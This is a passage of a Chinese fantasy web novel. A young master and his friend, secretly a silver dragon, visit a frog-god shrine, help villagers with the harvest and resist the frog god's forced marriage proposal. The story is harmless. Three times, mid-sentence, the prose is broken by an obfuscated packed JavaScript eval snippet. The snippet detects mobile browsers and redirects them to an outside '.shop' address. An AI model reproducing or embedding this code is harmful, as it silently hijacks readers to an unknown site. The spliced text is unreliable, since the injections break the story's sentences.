白行野自是随他,一起走到庙门前,李钰看着门头上的牌匾念道:“蛙、神、祠?居然还有拜青蛙的吗?” 李钰带着疑惑走了进去,刚进门就被吓了一跳,“天哪,这里的青蛙也太多了吧!” “刚才在外面,你没听到蛙鸣吗?”白行野跟着进门,相比之下反应平淡多了。 “听到了,我还以为是田里的呢。”李钰嘟囔道,好奇地看着庙里遍布四处的青蛙。 说起来,难道是因为这庙是供奉蛙神的关系,所以在此处逗留的青蛙才这般多?虽不到无从下脚的地步,但入目之处少说能看到百来只青蛙。 一只憨态可掬的绿皮小青蛙正正挡在门口,趴在地上冲李钰呱呱叫着。李钰小心地伸出脚尖,想将其踢到一旁,想了想还是俯下身来,用手捧着绿皮小蛙放到草丛的石头上,嘴里还念叨:“小青蛙啊小青蛙,你蹲在正门口也不怕被进来的人踩到?以后可小心着点。” 那小蛙瞪着鼓鼓的眼睛盯着李钰,跟真在听他说话一样,看得李钰毛毛的,下意识地向青蛙解释道:“只是让你小心点,我可没伤到你哦。” 小蛙这才没瞪他了,扭身跃下石头,一步一跳地跑掉了。 “奇了!白行野,这里的青蛙是妖精吧?感觉能听懂我的话似的。” 白行野正四下查看,回头对李钰说:“安心吧,这里有正气。此处的蛙神虽不是天庭敕封的,但我闻到了功德的味道,应当是庇护乡里的民间正神。” 李钰一听收起了嬉笑,“这么说,应当是很灵验的神咯?” “怎么,你有什么愿望要求吗?”白行野问道。 这倒把李钰问到了,他如今有健康的身体,有爱他的家人,还有一帮好朋友,活得衣食无忧、有滋有味,仔细想想还真没什么可求的,便只说:“来都来了,拜拜也无妨。” “随你,反正我不拜……” 李钰立刻打断他道:“你在人家的庙里要有敬畏之心,懂吗?” 白行野不置可否。 进到正殿一看,蛙神像虽然带一个“蛙”字,也是鼓圆眼、大嘴、绿皮肤的形象,但好歹不是真的拜青蛙像,还是有个人形的。神像四周还围着一圈青蛙、金蟾之类的小泥偶,竟还有些可爱。 他往功德箱里投了钱,在神像前拜了三拜,虔诚道:“青蛙神请保佑今年秋收顺利。” 拜完蛙神,两人又在小庙内休息了会儿才出来。又走到田边,看着农民们都不曾休息,还在田间挥汗如雨。李钰一时兴起,干脆捞起裤腿脱了鞋袜下田,要帮乡亲们一起收稻子。 那些农户见了,却一个个都大惊失色,有人陪着笑脸道:“李少爷,你怎么下来啦?这不是你该干的活,可快上去吧。” 李钰笑盈盈地说:“没事,反正都已经弄脏了,我帮大伙一起干干活。”说着就要去拿田埂上的镰刀,被一个小伙眼疾手快地抢了下来。 小伙攥着镰刀,小心翼翼地说:“李大少爷这镰刀可快了,小心别把你手割伤了。” “不会的,我会小心的。” 结果李钰的一番好意和一脸的灿烂笑容并没有说服乡亲们,可能怕是他有个什么闪失,李老爷会怪罪。农民们都靠着李老爷家的田产吃饭,可不敢让他的儿子在自己租佃的田里出事。 李钰后知后觉地明白过来,悻悻回到田埂上,一屁股坐在干草堆上,掏出他娘每日提醒他带的手帕擦脚。 白行野看着众人交头接耳,又看了看闷闷不乐的李钰,坐到他身边,道:“别理他们,不识好歹。” “不怪他们,是我的问题。”李钰恹恹地解释,“佃农和雇农没有自己的田地,依附于地主生存,生活十分不易。虽然我爹以往为我积德,习惯了行善,又有其他生意以商补农,常年轻租恤贫,但这些人身上的徭役也还是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101347|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的。这田地是他们赖以生存的唯一途径,容不得闪失,更不敢得罪地主和其家里人。” “是我一时兴起考虑不周,让他们难做了才是。”李钰闷闷道。 白行野蹙眉听着李钰解释,半晌才道:“做人居然如此辛苦,这些我以前都不曾知晓。” 李钰反过来安慰他,“人间处处不同,有像咱们城里那样的繁华热闹之景,也有如这里一样躬耕垄亩,辛苦劳作之民,还有些贫瘠之地的人们甚至食不果腹。你下山才多久?不知道这些也正常。” “可是……你看起来不开心。”白行野缓缓道。 李钰微微一怔,他低下头手忙脚乱地穿上鞋子,这才抬头冲白行野一笑,“我哪有不开心?” “你想帮他们吗?” 李钰嘴硬道:“都说了一时兴起而已。” 白行野不反驳,伸手揉了揉他的头,还没等李钰反应过来就飞身至田地间。周围的人一看,好不容易送走了李少爷,他那朋友怎么又下来了! 只见白行野好好观察了稻子收割的高度,剑指往前一划,灵气如风刃横扫,劲风过处一片稻子应声而倒,又一挥袍袖,如浪的风卷起即将落地的稻穗,送其飞至田梗上,一层层码放整齐。 一旁本在弓腰割稻的农家小子见状忍不住“哇”出了声,其他人也是惊得目瞪口呆。 白行野问一旁的老者:“是这样对吗?” 那老者还呆愣着,他儿子忙点头,“对对对,就是这样,敢问道长是哪派高人?这一手是什么术法呀?” “贫道不过是李少爷的朋友,看到你们顶着日头这么累,顺手帮一把罢了。”白行野第一次自称贫道,无师自通地用上了民众对权威的笃信,“这样没做错的话,那我就继续了。” 众人连连点头,大概都被他这手惊到了,根本没有反驳也不敢反驳。 白行野一边用术法收割着稻子,时不时还问一下旁人做得对不对,现在只留下了老人在旁不时指点一下,其他人全欢天喜地地去田埂上捆稻把了。 呆坐在田埂上的李钰愣愣看着白行野,一身素衣立于田间,明明是仙风道骨,抬手施法却是在收割稻子。那人英俊的侧脸在金色稻田的映照下泛着神性的光,李钰一时看得入神,这么好的人若不得道成仙,还有谁能成仙? 在白行野的助力下,一片稻田很快就收割完了。 田间的一家人更加积极地收拾着割下的稻草,将其捆成稻束,一边高声感谢着白道长,一边同家人欢声笑语,今年的收割竟变得如此简单! 白行野回到田埂上,挨着李钰坐下,对他说:“这下开心了吧?” 李钰看着白行野笑起来微眯的凤眸,呼吸一滞,双眼微微睁大,不知为何心脏狂跳不止,他忙低下头道:“开、开心了!” 然后又撞了撞白行野的肩膀,“你下次能不能先说一声?刚刚我还以为你要下去教训他们。” 白行野故作惊讶道:“我在你心目中就这样?” “哈哈哈,就知道我们白道长是大好人,行了吧?”李钰努力表现得像平时那样调侃白行野。 见他眼神飘忽不定,神情慌乱的样子,白行野只觉得可爱,他笑着说:“总之你现在开心了就行。” 李钰真想扭头就走,求你了,大哥别说了,我受不了了。这怪异的氛围难道只有他一个人在承受吗? 他起身欲走,“走吧,再去别处看看。” 结果刚转过身,李钰这才发现,身后不知道什么时候围了好些人,都在这看着呢! 那些乡邻个个脸上堆着笑,“李少爷,这位高人是你朋友啊?” “李少爷,你们有空吗?来我们这边玩玩吧。顺便请您朋友也帮帮咱们……” “少爷,我家小子刚打的枣子,请你和你朋友来吃,这枣子可甜了!” “少爷……” 李钰:“……” 白行野:“……” 24. 蛙神提亲 本还不太受人待见的李大少爷和他的朋友,如今成了香饽饽。接下来的一天,两个人的所有时间都花费在田间地头了。 受到人们尊崇的白道长,帮大家割了一茬又一茬的稻子;受人喜爱的李少爷,则和几个婶子、孩子们坐在田埂上喝了一碗米酒、吃了几颗新鲜采摘的枣子、烤了一个地瓜,又吃了一个玉米馍馍……最终得偿所愿还舞了两下镰刀,真正体验了一把下田的滋味。 两人晚上回到庄院,倒也看不出疲惫,只是白行野今天晚饭吃得特别多,把本已经习惯了白行野食量的李老爷都看呆了,悄悄吩咐人去再多上几个菜。 李化惊讶道:“看把白道长饿的,听说今天你们帮大家伙割稻子了?” “是呀,不过都是行野干的,我就在旁边玩。”李钰得意道。 “我都知道你也下田了,跟你老子说话还谦虚呢?”李化笑道。 “嘿嘿,大部分的功劳确实是行野的嘛。” 李化点头,赞许地看着白行野,“白道长确实扶助乡民颇多,真是有高人风范。” “伯父过奖了,一点小事,不足挂齿。”白行野谦虚道。 李化乐呵呵地说:“今天乡亲们自发送来好些菜,但我没收,大家过日子也不容易,今年稻子收得快,早点忙完秋收也能好好过个冬。” 李钰连连点头,顺着李化的话说:“就是就是,大家忙完了好,今天我去蛙神祠拜了拜,许的就是秋收顺利的愿望,没想到当天就实现了!”他冲白行野努努嘴,“不过这愿望的实现,还得是拜行野所赐。” 白行野看他乐,也不由嘴角上扬。 李化听到蛙神祠三个字,便说:“你可别说,我们这里这蛙神祠出了名的灵验,十里八乡的都爱来拜蛙神。” “这么厉害?可怎么想到拜青蛙……蛙神的呀?”李钰奇怪道。 “所谓‘蛙鸣兆雨’你没听说过?青蛙和蟾蜍都是呼风唤雨的动物,雨水可是咱们收成的保障呢!蛙类又都子孙众多,既能保佑农家的收成,又能兴旺人丁,不拜蛙神拜什么?好多代之前就在拜了,总之是很灵的。你去拜了也好,就是还该求求媳妇和子嗣。” 李钰没想到他爹这也能扯到结婚生子上,差点喷饭。 “啪嗒”一声,白行野放下了筷子,面无表情地说了一句,“我吃好了。” 李化忙转头去关心,“要不要再喝点鸡汤补补?你今天累着了,还是得注意身体呀。” “不用了,伯父。” 李钰偷偷觑了白行野一眼,见他又是那副冷冷淡淡的样子,心情有些复杂。 这一夜李钰翻来覆去了好一通才睡着,不过倒是睡得极沉,脑子休息好了以后,抛开了杂念,第二日再见到白行野感觉又能正常处之了。果然昨日那番反应只是一时的,李钰松了口气,又和白行野高高兴兴地出门了。 而李老爷比儿子勤勉多了,翻着这一年厚厚的账本,仔细检查着。 此时,有下人来报:“老爷,门外来了个老妇人拜见,穿着华服,不似寻常人。” 李化心下奇怪,但还是让人将其请进来。 到了正厅,果见一名老妇人等候,那妇人身着绿色织锦华服,观其面目确实不似庄上的人。 李化上前躬身行礼道:“老夫人万安,请示夫人尊姓?府上何处?今日驾临敝庄有何贵干?” 那青衣老太笑道:“李老爷太多礼了,老身不过是奉主之命,来说一桩喜事。” 李化更是奇了,请老太落座,叫人上茶,然后才问:“府上是哪一家?这喜事又是从何说起呀?” 青衣老太道:“老身乃蛙神使者。” 李化手一抖,难以置信地看向老太,又听她接着说:“昨日令郎到蛙神祠一见,刚好遇到我们家小姐。小公子容貌俊俏、聪明伶俐、品行也是极佳,小姐十分中意。你李家在本地素有善名,蛙神和蛙神夫人也都认可,觉得这是桩极好的姻缘。便遣老身来传达旨意,蛙神愿将小姐十娘下嫁于令郎。” 李化来不及管此人所言是真是假,先婉拒道:“这凡人如何能与神仙定亲?小儿顽劣不敢高攀呀。” 青衣老太笑容一敛,“李老爷不必忧心,此事有蛙神和蛙神夫人做主,不必顾忌其他。请李老爷择一个良辰吉日,备好聘礼便是。” 说罢,青衣老太也未动茶水,站起身来便告辞了。 李化待要阻拦,只见青衣老太就在眼前凭空消失了!李化见状,心下大骇,难不成真是蛙神使者?这怎么就看上自家小子了!要是做了神仙的亲家,他们一家子凡人,以后不得被欺负死?这小子,昨日到底做了什么?怎么无端端就被蛙神女儿看上了。 不行!即便他敬畏蛙神,可他只有这么一个儿子,谁知道同神仙结亲有什么后果?况且他想到蛙神祠里那人形蛙脸的神像,一阵胆寒。来不及计较儿子做了什么,立刻叫人来准备三牲祭品,即刻就要动身去蛙神祠请罪。 庄上本就有牲畜,下人们很快就宰杀好,又备上美酒、香烛,李化叫上几个庄头、仆人就前往蛙神祠。 一到蛙神祠中,从小在此处长大的李化看到满地的青蛙,第一次感到有些可怕。点上香烛,奉上三牲美酒,又将一箱银子放到功德箱上。 李化跪在神像前,恳切地说道:“蛙神大人在上,小人惶恐。今有蛙神使者前来议亲,只是我那小儿愚笨又顽劣,心智不定,实不敢高攀神仙之女!不知昨日犬子何处冒犯,多有得罪,敬上薄礼,还望蛙神大人和蛙神夫人见谅。” 李化说完便向神像叩了三个响头,久久俯身不起,未听得神祠内有何异动,才缓缓抬起头来。只见那绿脸突眼的蛙神像此时怒目圆睁、龇牙咧嘴,如夜叉般可怖! 只一眼,李化就不敢再直视,忙又低头念念有词,“请蛙神息怒,只是犬子实在不堪,难以配仙女啊!” 即便害怕,李化依旧言辞恳切,拒绝结亲。忽听到供桌上一阵细碎的响动,李化抬头定睛一看,肉盘和酒坛上竟全都爬满了蛆虫!肥硕的虫子疯狂蠕动,正纷纷啃噬着供品! “啊!!!”李化惊叫出声,等在外头的庄头仆从们忙冲了进来,看到这番场景也是也都吓得不轻!有年纪小的当场就吐了,两个身强力壮的庄头忙上前扶起李老爷,连拖带拽地将人往外拉。 一出正殿,蛙神祠里的青蛙们同时叫了起来,呱呱声一片此起彼伏,声音极大。众人哪里还敢耽搁?全都往蛙神祠外跑,急急忙忙将李老爷送回庄院。 李化一到家,便跌坐在椅子上缓气儿,下人端上茶水,他看了一眼就推到一边。对其中一个人道:“速去把少爷和白道长叫回来!快去!” 那人立即领命而去,李钰和白行野也很快就回来了。 一见李化面色发白地坐在正厅,立马担心地围了过来。 “爹,你怎么了?” “伯父发生何事?” 李化一把拉过儿子,结实的巴掌就落在儿子背上,欲哭无泪道:“你这傻小子!昨日在蛙神祠到底做了什么?怎么今日蛙神就来给他女儿提亲,非要你去做他们家的女婿!” 李钰一愣,闻言只觉荒唐。 白行野更是脸色一变,急忙问道:“怎么会有这种事?” 李化便将今日发生的种种一一道来,末了还质问儿子,“你说说你,昨日是不是遇到那什么十娘了?” 李钰大呼冤枉,“什么十娘啊,我根本没见过,昨天去蛙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101348|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神祠就见了一地青蛙,我拜神我都是求丰收,又不是求姻缘,怎么莫名其妙的就看上我了?” 李化一听也觉得奇怪,便问白行野,“他说的可当真?” 白行野道:“昨日我也在,确实不曾见过什么十娘。” “这就怪了,白道长你有没有什么办法可以解决?” 白行野皱起眉头,“若是妖物也就罢了,可就蛙神是受了数代供奉的地方正神,受了无数的香火,更有功德加身,并非好相与的。” “那这可如何是好?”涉及爱子,李化不得不急,“不行,白道长,求你今日就带我儿回府城……不不不,还是太近了。你们不是想去衢州府吗?那今天便去!这山高路远的,蛙神是我们这里的神,必管不到那么远的地方。” 李钰急了,“那怎么可以?我怎么可能丢下爹自己跑,那蛙神不是正神么?我不信我不娶他还能强求!” 白行野沉吟片刻,赞同了李化的说法,“伯父所言其实有理。” “白行野你!”李钰气结。 “你听我说,这青蛙神他或许可以有些任性的要求,但绝不会肆意戕害他人。尤其是这种未得天庭敕封的民间小神,从最初的妖身修起,积累功德香火数代下来才修得一方庙宇,到如今这种地步并非易事,伯父的安全倒不必忧心。”白行野耐心解释,又道,“怕只怕他们因伯父刚才的举动,若一怒之下将你绑了去生米煮成熟饭,这类行为倒是不会有损他们的修行。” 李家父子俩听得胆战心惊,李化立刻就让人去套马车,又对李钰道:“儿子,你就听我的先走,有白道长在你身边,我放心。且出去避几个月再回家,到了衢州府记得给家里送信就行。” 随即他又转向白行野,这次他不再尊称白道长,他道:“贤侄,我儿就交托到你手上了,等过了几个月你们回来,伯父我必有重谢,请一路上定要好好护着珠儿。” 白行野郑重道:“伯父放心,我绝不会让李钰少一根毫毛。” “好好好,有你这句话,我就放心了。” 李钰再要抗议也无人理会,只能任老爷子安排。李化又取来些银钱,让李钰拿好,就要送二人上马车。 “趁现在天还没黑,快走快走,记得写信回家。”李化在车外嘱咐道。 李钰掀开帘子,对老爹道:“爹,你好好保重,你也早点回家去。” 李化用衣袖抹了抹眼泪,“知道知道,快走吧。”接着又催车夫,车夫一扬马鞭,匆匆驾车而去。 “这都什么事啊?”李钰坐在马车上唉声叹气,怎么别人在聊斋里面都是和狐仙艳鬼有奇缘,轮到他了就是和青蛙呀? 白行野安慰道:“没事,离开了这里就好,这样的地方神,手伸不到别的地去。” 李钰还是闷闷不乐,白行野又道:“而且有我在,你怕什么呢?” “人家好歹是神呢,你作为道士再厉害如何相抗?” 白行野没反驳,而是安抚地握住李钰的手,“你放心,我必不会让你娶那劳什子十娘的。” 他骨节分明的手将李钰的手整个包住,他的手有些冷,可李钰的手却一下子热了起来。 那种奇怪的感觉又来了,李钰简直想对自己翻个白眼,这种时候怎么还在在意这些事?像是为了强行让自己脱敏,他双手回握住白行野的手。 “你……这么害怕吗?” 李钰这下是真翻了个白眼,“你的手也太冷了,我给你暖暖。” 白行野微怔,愣愣看着李钰,他低垂着双眸没有看自己,鸦羽似的睫毛盖住了眼中的情绪,李钰只是握着自己的手轻轻搓着,好像在做一件需要极其专注去完成的事,如他所言认真地暖着自己的手。 25. 青蛙神 马车内霎时安静下来,两人各自心有所思。过了好一会儿,李钰才反应过来,他们的手还一直牵着。他立刻状似无意地伸了个懒腰,顺势放开白行野的手。 白行野的手不自觉回握了一下,一瞬间竟有种空落落的感觉。 李钰掀开车帘问车夫,“叔,出村了没呀?” 车夫道:“马上,看到前面那颗银杏树没?到那儿就出村了。” “那就好,那就好。”李钰说着坐了回来,刚准备开口说点什么,结束这尴尬诡异的氛围。这时车身忽然一歪,突如其来一阵巨大怪风,将车摇得像巨浪上的帆船,拉车的马儿也发出阵阵嘶鸣。 “小心!” 白行野将李钰整个人搂在怀里护住,才不至于让他在车厢里撞得东倒西歪。 片刻后,这阵摇晃停止了,李钰要出去查看,被白行野拉了回来,“我去,你别动。” 白行野掀开帘子,车夫已不见踪影,他立刻跳下了车,警惕地向四处观望。 李钰待在车厢内,惴惴不安地问道:“外面怎么样?车夫大叔呢?” 话落,外面却是一片寂静,无人回话。 “行野?白行野!”李钰喊了两声,还是没人回,就不敢再喊了,就怕听到什么奇怪的东西回答他。 可白行野去哪儿了?他那么厉害,不会有事吧?李钰又急又怕,终于还是哆哆嗦嗦地掀开车帘的一角,准备先往外看一眼。 这一看便傻眼了,他根本没有在村口的大路上……马车面前是一扇朱漆大门,他连人带马车已经到了另一个地方了! “姑爷怎么还不下车?” 李钰随声望去,这才看到马车旁边还站着一个青衣老太,那老婆婆笑得慈祥,可李钰只觉惊悚。 “你是谁?你要做什么?” 青衣老太正是今日拜访李家的蛙神使者,她对李钰说:“姑爷既到蛙神门前,老身自是来替蛙神相迎的,还请姑爷下车,进府内一叙。” 说着那朱漆大门便应声而开,只见里面楼阁华美、灯火通明,不像白日所见的小庙,而是哪家大户人家的府上。 李钰咽了咽口水,想到白行野,心一横跳下马车随那老太太进去了。 白行野,你可一定要快点找到我啊! 进到那宅子内,还真如那些富户一样,人家也有丫鬟仆从侍立左右,仿佛在恭迎他的到来。 进入正厅,上首坐着一男一女两位老者,面带威严,气度颇是不凡。 那青衣老太向两人福了福身,“大人、夫人,李公子带到。” “你们就是蛙神和蛙神夫人?”李钰松了一口气,幸好不是长神像那样,那想必那个十娘,应当也不至于是蛙脸。 秉着伸手不打笑脸人的想法,李钰有礼有节地躬身施礼道:“小人拜见蛙神大人,蛙神夫人。” 蛙神夫人笑了,“瞧这李公子,果然是容颜俊俏的青年才俊,我一看就喜欢。” 谢谢,但请你别喜欢,李钰腹诽。 比起满脸慈爱的蛙神夫人,蛙神就要严肃多了,他打量着李钰,半晌才道:“这个相貌配十娘勉强可以,只是你李家太不识抬举,居然还敢私自出逃!” 李钰一听就紧张了起来,“承蒙大人、夫人厚爱,不是我们不识抬举,而是鄙人不过区区一凡俗,不敢肖想更配不上神仙之女。若是昨日我有什么唐突之处,实在不是有意为之,请大人、夫人见谅。” 蛙神冷哼,“你与你那父亲真是如出一辙,一般的狂妄!这配不配得上的事不是你们说了算,而是我们说了算,小女看上你是你几世修来的福气,你非但不珍惜还胆敢逃婚!” 李钰这下是真急了,“这婚事谁同意了?算哪门子逃婚啊?” “嘭!”蛙神重重一拍扶手,惊得李钰一抖,只见蛙神大人似乎很生气,双颊鼓起一起一伏,最夸张时脸颊的皮肤都鼓成两个半透明状的球形,真就像青蛙一样! 李钰心下悚然,这是要变身了吗? 这时,蛙神夫人温言道:“老爷何必如此?这孩子年纪也不大,听说小时候脑子也不灵光,长大了才好的,你就不要与他计较了,主要是咱们女儿喜欢他啊。” 蛙神那一鼓一鼓的脸颊这才慢慢收了回去,冷哼道:“若不是十娘看上你,你这般无礼,我必教训你!你们这些凡人,不过就是觉得蛙相丑陋,却不知我们十娘实则貌美若天仙,性情更是一等一的好,你若不信,这便叫十娘出来相见。” “我不见!”李钰立刻拒绝。 “你说什么?!”蛙神和夫人异口同声地惊讶道,这小子听了这话还不愿见? 李钰也不知哪来的勇气,坚持道:“我不见,我都不认识她,我也没想娶媳妇,见不见她我都不会娶的。” 谁知蛙神夫人笑出了声,“你们这些人间的男子我见的多了,现在说的信誓旦旦,见了美人就是另一副嘴脸,怕是一会儿你连道都走不动了。” 话罢,便不由分说地喊道:“十娘出来吧,见见你未来的夫君。” 李钰简直和他们说不通,哪有这样的? 这时,从二老身后的屏风后面袅袅婷婷地走出一名华服女子,那女子生的一双翦水秋瞳,肤白貌美,纤纤玉指捻着手绢挡在嘴角,一副害羞的样子。 蛙神夫人怜爱地将女儿拉到身前,冲李钰笑着说:“你看,这便是小女十娘,是不是比那天仙也比得?如今你还说你不娶吗?” 十娘美眸微抬看向李钰,挡住唇角的手也放了下来,果真是明眸皓齿、巧笑嫣然,美得惊人。 李钰拱手又行了一礼才道:“并非与小姐有关,而是我确实无意婚娶。且如小姐这般品貌定有良人相配,小人粗俗不堪,实非良配,辜负了小姐厚爱。” 十娘不曾想李钰见了她居然还如此说,一时柳眉微蹙,又羞又恼。 蛙神和夫人更是恼怒,蛙神怒斥道:“区区凡人胆大包天,你还真当自己是个香饽饽!问你意见不过是看在小女的面子上,这场婚事你不应也得应!若再敢胡言,今晚便让你们成婚!” “这又是何道理呀?!”李钰惊怒交加,这神仙竟然如此不讲理吗? 也不知是不是李钰求救的意念太过强烈,屋外忽地传来一声巨响!众人皆向大门处看去,那朱漆大门此时已是四散碎裂,门口烟尘四起,一个人影正从其间走出来。 来人正是白行野! “行野!”李钰惊喜喊道,就要奔过去,却发现自己根本动不了。低头一看,自己的身体竟被一根“红绳”缠住,那“红绳”看起来还湿哒哒的?转头看去,就见蛙神大张着嘴,口中吐出的红舌头伸出极远,正是缠绕住自己的这根“红绳”! 李钰觉得自己这次是真要晕倒了。 白行野见此情形,面上已有怒意,飞身跃起转瞬间就飞至李钰身旁,不知从哪里抽出一把剑,提剑就要砍向蛙神的舌头。蛙神眼疾手快,迅速将舌头收回,这才保住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101349|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了舌头。而白行野顺势拉过李钰,将其推出屋外。 他直面蛙神,却在问背后的李钰,“你没事吧?” “没、没事,还好你来了,不然他们就要逼我现场拜堂了!”李钰心有余悸地控诉。 白行野眉头一皱,目光锐利地看向蛙神。 蛙神和蛙神夫人此时也警惕地打量着他,忽而蛙神咧嘴一笑,“我道是何方神圣?原来是一条小……” 话音未落,白行野神色一凛,提剑向蛙神攻了过去。 那蛙神受了近千年的香火供奉,就算只是一方小神,又岂是好相与的?他看着身材壮硕却极为灵活,身形闪躲速度极快,闪转之间竟还能见缝插针施法回击。很快白行野身上的衣服,就被划出好几道口子,看得李钰心惊胆战。 不过须臾,两人就打到了院内,法力相撞激起阵阵炫光。白行野竟也不落下风,手执长剑带着法力金光狠狠刺向蛙神。 蛙神欲速战速决,疾掠而退,身体骤然迸发出一阵白光,轰然一声巨响传来,一只身形如小山的巨型青蛙重重地落在庭院之中,占据半个庭院! 巨大的青蛙此时两腮和肚皮都鼓了起来,蛙嘴大开,瞬间喷出一道巨型水柱直冲白行野而来!白行野执剑挡在身前,剑身爆发出一个金光护罩,硬是挡住水柱的冲击。 可那巨蛙的肚皮中似有无穷之水,水柱持续冲击着薄薄的保护屏障,时间愈久屏障渐渐不支,出现细微的裂纹。 李钰忍不住急道:“行野,小心!” 白行夜立于空中,冲击带来的劲风吹得衣袍翻飞,猎猎作响。他看了李钰一眼,咬了咬牙,对方的法力具有信仰之力,打在他身上的每一道都如风卷残云,若自己再不用原形相抗,恐怕难以脱身。 只是,他还没和李钰说过自己的真身,他不想让李钰觉得自己是在骗他。 此时,金光护罩已然撑不住,裂纹如蛛网般爬满屏障,终是破裂开来,含有法力的水柱狠狠撞在白行野身上,将他击退到数丈开外! “白行野!”李钰面色骤变,惊呼出声。 只听得一声惊雷乍响,一道霹雳豁然照亮半个天空,灵光乍破的一瞬间,一声龙吟啸天,白光渐息,一道银白的蛇影显现在半空之中。 身似蛇形,银鳞遍体,四爪如鹰隼钩爪,火焰般的鬣鬃随风而舞;头顶鹿角,目光炯炯,吻边长须飘逸灵动,这威风凛凛的模样正是传说中的——龙。 李钰望着空中的银龙呆愣在原地,口中喃喃:“白行野……” 他的声音极轻,却被白行野轻易捕捉到,银龙看向李钰,兽眸却透着柔和,似在安抚。 原来行野根本不是什么下山历练的白道长,而是一条货真价实的龙!难怪他对龙这么了解…… 白行野不再看李钰,他将目光转向巨蛙,脊背弓起,蓄势待发,就在须臾间便御风疾掠而上。巨蛙身形庞大,闪避不及,随即便被银龙欺身缠上,尖利的龙爪猛地刺进巨蛙厚厚的皮肤中,只听那巨蛙发出一声惨叫! “够了!住手!”一旁观战的十娘大喊道,“放了我爹!我不嫁了!” 白行野看了过去,十娘再次高呼道:“我不嫁了!放开我父亲吧!” 龙爪缓缓松了开来,银龙飞离巨蛙,从半空中落了下来,重新化作了人形。 十娘和蛙神夫人连忙上前关心蛙神的情况。 而李钰还是呆呆的,看着白行野一步步向他走来,恍如在梦中。 26. 真身现 白行野走到近前,面上带着让人难以察觉的不安,问道:“你还好吗?” “嗯?哦,我好着呢。”李钰回过神来,忙拉着白行野上下查看一番,“你没受伤吧?袖子都破了!” 见他没问别的,白行野暗自松了口气,“没有,不过是些微口子,一会儿就自愈了。” 说着便当着李钰的面服下一枚丹药,又将手臂伤处露给李钰看,只见伤口以肉眼可见的速度愈合,李钰这才放下心来。 “咳咳咳……”另一边的蛙神却不是那么轻松,重新变回人形后,其衣袍上有四处被洞穿的破损,皆往外渗出了血色。 “爹,你受伤了。”十娘泪流满面,又是愤恨又是内疚。 “一点点抓伤,不打紧。”蛙神安慰十娘和夫人。 “对不起爹,都怪我任性,没想到竟引来一条妖龙!”十娘边说边恨恨地瞪着白行野。 白行野冷声道:“若不是你们抢人在先,何至于此?” 复又握住李钰的手腕,“既然如今你们不再纠缠,我们也不会再来打扰,走吧。”说着便拉着李钰往外走。 这时,李钰却抓住他的衣袖说:“等一下。” 白行野不解地看向李钰,他拍拍白行野的手背示意放开,然后回身对蛙神躬身一拜,恭敬道:“蛙神大人,您庇护一方,素有功德,是小人没有福分做您的女婿,还请您不要迁怒这一方百姓,他们并无过错。” 那蛙神定定看着他,眼中流露出一丝错愕,随即怒极反笑,“本神做了此地近千年的守护神,岂会因你一个小儿就公私不分?不识抬举就罢了,还敢如此揣测本神!” 李钰连忙道歉:“是我小人之心度君子之腹,请蛙神大人不要见怪,我离开后定让人再备上厚礼供奉,届时请您一定笑纳,小人一家感激不尽……” “滚滚滚,是你福薄缘浅,本神才不与你这等小人计较!”蛙神斥道,但言下之意此事应当是暂时了结了。 李钰闻言麻溜地起身,“那小人告辞了。”转身却见白行野也上前一步,扔给十娘一个药瓶,其上灵气萦绕。 “此药对外伤见效奇快,就当冲撞蛙神大人的赔礼。”白行野冷淡道,说完又握住李钰的手,像怕他又跑掉。 “等等……” 两人顿住,正是十娘叫住了他们。十娘泪眼汪汪,再铁石心肠的人看了也不由动容,她颤颤地问李钰:“敢问公子为何不愿娶我,是我哪里不好吗?” 李钰虽不知自己到底是怎么招惹上十娘的,但见十娘泫然欲泣的模样还是于心不忍,忽然计上心头,干脆说道:“绝非姑娘的问题,只因我是——断袖!” “……断袖?!”十娘惊得目瞪口呆,含在眼里的泪水瞬间收了回去。 为了证明自身,李钰举起和白行野相牵的手摇了摇。 “原来你们是这种关系!”十娘掩口惊讶道。 白行野:? “哎呀,居然是个断袖!”蛙神夫人一脸嫌弃,哪里还有先前慈爱的模样? “早知如此还费个什么劲!” 李钰:“……所以真不是小姐你的问题,你很好的。祝你早日觅得良缘,再见了。” 话罢,两人总算顺利离开了,走出大门后再回头一看,先前的高门大户已经恢复成白日所见的小庙。 李钰松了一口气,“看来应该是没事了,行野,我们回去吧。” “你不想问我什么吗?”白行野面色古怪道。 “我是有问题,但咱们别站在人家门口说好不好?回去再说。” 白行野这才笑了笑,“好。” 马车就在蛙神祠门口停着,可车夫不见了,李钰急忙问:“你看到车夫大叔了吗?” 白行野回道:“当时我一下马车,你就被蛙神连人带马车的带入神祠结界内。车夫在村口路边晕了过去,我将他放在田边稻谷堆上才来找你,过去接上他就行。” 